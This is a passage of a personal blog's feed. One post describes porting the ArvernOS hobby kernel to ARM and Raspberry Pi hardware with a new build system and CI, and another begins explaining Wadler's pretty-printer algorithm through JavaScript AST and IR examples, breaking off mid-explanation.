&lt;p&gt;At the begin of the year, I tried to &lt;a href=&quot;/2021/01/23/bare-metal-raspberry-pi-2-programming/&quot;&gt;make ArvernOS run on a Raspberry Pi 2&lt;/a&gt;. It was challenging because the original code was written for x86_64 and QEMU. It kinda worked and I learned a few things along the way but the code didn’t get merged into the main branch because I wasn’t happy with the changes.&lt;/p&gt;

&lt;p&gt;Fast forward to November: I really wanted to work on this project again! I cleaned up the codebase, re-reading pretty much every single line of code I had written so far. That gave me a new perspective on the code and I decided to port the ArvernOS kernel to real hardware again.&lt;/p&gt;

&lt;h2 id=&quot;new-architectures-supported&quot;&gt;New architectures supported&lt;/h2&gt;

&lt;p&gt;250+ commits later, I was able to run the same code, without hacks, on 3 different architectures (&lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/master/src/kernel/arch/x86_64&quot;&gt;x86_64&lt;/a&gt;, &lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/master/src/kernel/arch/aarch32&quot;&gt;AArch32&lt;/a&gt; and &lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/master/src/kernel/arch/aarch64&quot;&gt;AArch64&lt;/a&gt;) and 2 different “real” devices: Raspberry Pi 2 and Raspberry Pi 3. Each feature I had to implement for ARM was an opportunity to transform some of the “legacy” x86_64 code into shared code.&lt;/p&gt;

&lt;h3 id=&quot;some-implementation-details&quot;&gt;Some implementation details&lt;/h3&gt;

&lt;p&gt;In order to have a mostly generic kernel, some architecture-specific functions have been identified and documented in the &lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/master/include/kernel/arch&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include/kernel/arch/&lt;/code&gt; folder&lt;/a&gt;. Each “target” (that is, architecture and/or board) has to implement these functions. That being said, most of them can be left empty and the kernel will still boot.&lt;/p&gt;

&lt;p&gt;The boot sequence is target-specific, i.e. there is no unified bootloader. For x86_64, GRUB and Multiboot2 are used and the default Raspberry Pi bootloader is used for the RPi boards. On the latter boards, &lt;a href=&quot;http://www.simtec.co.uk/products/SWLINUX/files/booting_article.html#appendix_tag_reference&quot;&gt;ARM tags&lt;/a&gt; (ATAGs) are used to pass information because of the lack of a Device Tree parser.&lt;/p&gt;

&lt;p&gt;Each target follows the same boot sequence:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;the bootloader calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start&lt;/code&gt; defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;boot.asm&lt;/code&gt; for each target. This function contains the super-early initialization code required to execute the C code. For ARM, I tried to follow the &lt;a href=&quot;https://www.kernel.org/doc/html/latest/arm/booting.html&quot;&gt;ARM Linux convention&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;the assembly code calls the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmain()&lt;/code&gt; C function, which is also architecture-specific. Its main task is to set up the hardware before the generic code gets executed (&lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/46839059e843fe89b6580511c6d159d5605401bf/src/kernel/arch/aarch32/board/raspi2/kmain.c&quot;&gt;example&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmain_start()&lt;/code&gt; is invoked. This is the ArvernOS generic kernel code, which ends the boot sequence by running a process (the kernel shell for example).&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;new-build-system&quot;&gt;New build system&lt;/h2&gt;

&lt;p&gt;The build system has been refactored too, although it is still based on non-recursive Makefiles. A &lt;a href=&quot;https://github.com/willdurand/ArvernOS&quot;&gt;base Makefile&lt;/a&gt;, which contains most of the configuration, includes the target architecture Makefile and, optionally, the Makefile for the board. This isn’t too complicated and it works well so far.&lt;/p&gt;

&lt;p&gt;Besides that, the biggest change has been the switch to &lt;a href=&quot;https://llvm.org/&quot;&gt;LLVM&lt;/a&gt;, which greatly simplified compilation for different architectures.&lt;/p&gt;

&lt;h2 id=&quot;new-documentation&quot;&gt;New documentation&lt;/h2&gt;

&lt;p&gt;The documentation has been improved as well and you can browse it at: &lt;a href=&quot;https://williamdurand.fr/ArvernOS/&quot;&gt;williamdurand.fr/ArvernOS/&lt;/a&gt;. I use Doxygen with a more modern theme and a few scripts and hidden HTML comments in markdown files to improve the final content (e.g., the “Note” cards, TODOs, etc.).&lt;/p&gt;

&lt;p&gt;The documentation isn’t perfect yet, in part because writing good docs takes time and also because there are still lots of moving parts. Ideally, &lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/master/include&quot;&gt;all public header files&lt;/a&gt; should be extensively documented.&lt;/p&gt;

&lt;h2 id=&quot;new-ci&quot;&gt;New CI&lt;/h2&gt;

&lt;p&gt;With two new architectures supported and more code written, it was time to refactor the Continuous Integration pipeline as well. There are now &lt;a href=&quot;https://app.circleci.com/pipelines/github/willdurand/ArvernOS/1469/workflows/61e45fbc-367a-43e4-9a29-c2acef5e2512&quot;&gt;more than 20 jobs&lt;/a&gt; performing all kind of checks and running tests with different configuration flags.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    ___                               ____  _____
   /   |  ______   _____  _________  / __ \/ ___/
  / /| | / ___/ | / / _ \/ ___/ __ \/ / / /\__ \
 / ___ |/ /   | |/ /  __/ /  / / / / /_/ /___/ /
/_/  |_/_/    |___/\___/_/  /_/ /_/\____//____/


[  0.000000] ArvernOS 0.0.3 (46839059) for aarch64+raspi3 has started
[  0.000000] kmain: cmdline is &apos;kshell selftest&apos;
[  0.000000] core: initialize interrupt service routines
[  0.000000] time: initialize timer
[  0.006342] time: initialize clock
[  0.006620] sys: initialize syscalls
[  0.006880] fs: initialize virtual file system
[  0.007368] fs: mount tarfs (init ramdisk) - addr= 0x8000000
[  0.008999] fs: mount devfs
[  0.010348] fs: mount devfs
[  0.010765] fs: mount sockfs
[  0.012040] kmain: loading kshell...

[kernel syscalls]
Hello, kshell!

[kernel stacktrace]

[memory]
simple test with malloc()/free(): pointer before malloc() = 0000000000000042
success! p=0000000000400190 and value is: it works
now allocating a large chunk of memory... Pointer before malloc() = 0000000000400190
success!

[filesystem]
This message should be written to the console.

[aarch64]
Got expected exception level: 1
Hello, syscall!
Got expected syscall return value: 42

done.
[  0.079482] powering off system: exit_code=0
Powering off system now...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When possible, QEMU is used to perform &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/46839059e843fe89b6580511c6d159d5605401bf/src/kernel/kshell/selftest.c&quot;&gt;runtime checks&lt;/a&gt;. I added some &lt;a href=&quot;https://balau82.wordpress.com/2010/11/04/qemu-arm-semihosting/&quot;&gt;semihosting&lt;/a&gt; support so that the QEMU exit code depends on the result of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;selftest&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;Currently, only the x86_64 architecture is able to load external programs (that can be found in &lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/master/src/userland&quot;&gt;userland&lt;/a&gt;). One of these programs is named &lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/master/src/userland/testsuite&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testsuite&lt;/code&gt;&lt;/a&gt; and the idea is to test the whole OS: the boot sequence, the switch to usermode and some system calls.&lt;/p&gt;

&lt;h2 id=&quot;whats-next&quot;&gt;What’s next?&lt;/h2&gt;

&lt;p&gt;This project is an experiment that allows me to learn a lot of things and it also challenges me sometimes. I don’t intend to make it production-ready, fully featured or anything like that. Afterall, it is yet another Unix-like monolithic kernel, built on top of various tutorials, studies of various projects (including the Linux kernel), and trials and errors.&lt;/p&gt;

&lt;p&gt;There are, however, things I’d like to get done:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Multi-tasking: it should be possible to create, run and terminate multiple tasks. I don’t want to go fancy on that, just something that is both simple and functional.&lt;/li&gt;
  &lt;li&gt;Usermode: the kernel should run at a higher more privileged level than regular (userland) programs. That kinda works on x86_64 already.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redhat.com/en/blog/virtio-devices-and-drivers-overview-headjack-and-phone&quot;&gt;Virtio drivers&lt;/a&gt;: in order to test more kernel code, I’d like to implement some virtio drivers like virtio-net.&lt;/li&gt;
  &lt;li&gt;Linux compatibility: I’d like to explore how to execute (simple) unmodified Linux binaries on ArvernOS.&lt;/li&gt;
  &lt;li&gt;Graphical User Interface (GUI): from what I’ve seen, that does not look like a fun thing to do because I don’t know much about it but maybe it is? In any case, that’s something I’d like to explore in the future.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.m.wikipedia.org/wiki/Symmetric_multiprocessing&quot;&gt;Symmetric Multiprocessing&lt;/a&gt; (SMP): this would allow the kernel to leverage all the CPU cores. There are interesting challenges, here, e.g.,  to avoid synchronization problems.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I have some WIP patches for some of these things and the rest is kinda unknown to me. We’ll see in 2022 I guess.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>On pretty printers</title>
        <link href="https://williamdurand.fr/2021/07/23/on-pretty-printers/"/>
        <updated>2021-07-23T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/07/23/on-pretty-printers</id>
        <content type="html">&lt;p&gt;Pretty printers are tools used to format textual content according to a set of
stylistic conventions. &lt;a href=&quot;https://prettier.io/&quot;&gt;Prettier&lt;/a&gt;, &lt;a href=&quot;https://github.com/psf/black&quot;&gt;black&lt;/a&gt;, &lt;a href=&quot;https://github.com/rust-lang/rustfmt&quot;&gt;rustfmt&lt;/a&gt; are great examples
of such tools, which we call “code formatters” because they are applied to
source code. Users can usually specify the maximum line length and the type of
indentation (spaces or tabs) among other things but those two are responsible
for endless debates in our industry 🤷.&lt;/p&gt;

&lt;p&gt;After a “I wonder how that works” moment, I researched different ways to
implement a code formatter and stumbled upon &lt;a href=&quot;https://homepages.inf.ed.ac.uk/wadler/papers/prettier/prettier.pdf&quot;&gt;“A prettier printer”&lt;/a&gt;
authored by Philipp Wadler. This paper introduces an &lt;em&gt;Intermediate
Representation&lt;/em&gt; (IR) used to format content that can then be printed with
multiple possible layouts. This is the foundation of some popular code
formatters like Prettier (see also: &lt;a href=&quot;https://github.com/prettier/prettier/blob/aefcb0cc0ab729d06f487202beb17b0f4b550bbf/commands.md&quot;&gt;Prettier’s intermediate
representation&lt;/a&gt;).&lt;/p&gt;

&lt;h2 id=&quot;how-does-wadlers-algorithm-work&quot;&gt;How does Wadler’s algorithm work?&lt;/h2&gt;

&lt;p&gt;A code formatter takes some code as input, parse it and translate the result
into a more beautiful version of the code. The parsing step usually generates an
Abstract Syntax Tree (AST), from which we can derive an intermediate
representation as presented in Wadler’s paper.&lt;/p&gt;

&lt;p&gt;Most implementations based on this paper use two possible layouts: &lt;em&gt;flat&lt;/em&gt; and
&lt;em&gt;broken&lt;/em&gt;, controlled by the user-defined line length (a.k.a. “print width”).
The code formatter should try to append as much content as possible on the same
line (&lt;em&gt;flat&lt;/em&gt; layout) and, when that isn’t possible, the &lt;em&gt;broken&lt;/em&gt; layout, which
describes how to break the content on multiple lines, should be preferred.&lt;/p&gt;

&lt;h3 id=&quot;example-pretty-printing-javascript&quot;&gt;Example: pretty-printing JavaScript&lt;/h3&gt;

&lt;p&gt;In order to better understand how things work, let’s take an example with the
JavaScript function definition below, taken from &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer&quot;&gt;my very own implementation of
Wadler’s algorithm in JS&lt;/a&gt;, which we are goint to format with that
same implementation:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderDocument&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;indentPrefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to format this code, we first need to parse it. Using the JavaScript
parser &lt;a href=&quot;https://github.com/eslint/espree&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;espree&lt;/code&gt;&lt;/a&gt;, we get the following AST (some properties have been
removed for brevity):&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Program&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;VariableDeclaration&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;declarations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;VariableDeclarator&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Identifier&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;renderDocument&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ArrowFunctionExpression&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
              &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Identifier&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
              &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;AssignmentPattern&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Identifier&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;fits&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Identifier&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
              &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;AssignmentPattern&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Identifier&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;indentPrefix&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Identifier&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;BlockStatement&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s walk through the IR generation now. Skipping the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Program&lt;/code&gt; node (which
represents the entire source code), we want to start pretty-printing a variable
declaration (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VariableDeclaration&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VariableDeclarator&lt;/code&gt; nodes).&lt;/p&gt;

&lt;h3 id=&quot;a-simple-ir&quot;&gt;A simple IR&lt;/h3&gt;

&lt;p&gt;We are only interested in the first part of our input for now, which is
essentially the JavaScript code shown below where the Right-Hand Side (RHS) of
the declaration has been replaced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;...&lt;/code&gt;. We’ll get back to that part later.&lt;/p&gt;

&lt;p class=&quot;can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2021/07/code-rhs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the meantime, this is convenient because it makes the intermediate
representation simple: it is a list of strings. A list implies concatenation of
all the items and a string is rendered as is.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// The JavaScript array below is our IR!&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;const &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;renderDocument&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// This is the result of our IR once rendered:&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderDocument&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note the semi-colon at the end, which isn’t part of the input. When walking the
JavaScript AST, we produce IR specifically for JavaScript. This is why the
translation logic can append a semi-colon to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VariableDeclaration&lt;/code&gt;. While the IR
“building blocks” are generic, the parsing and translation layers are
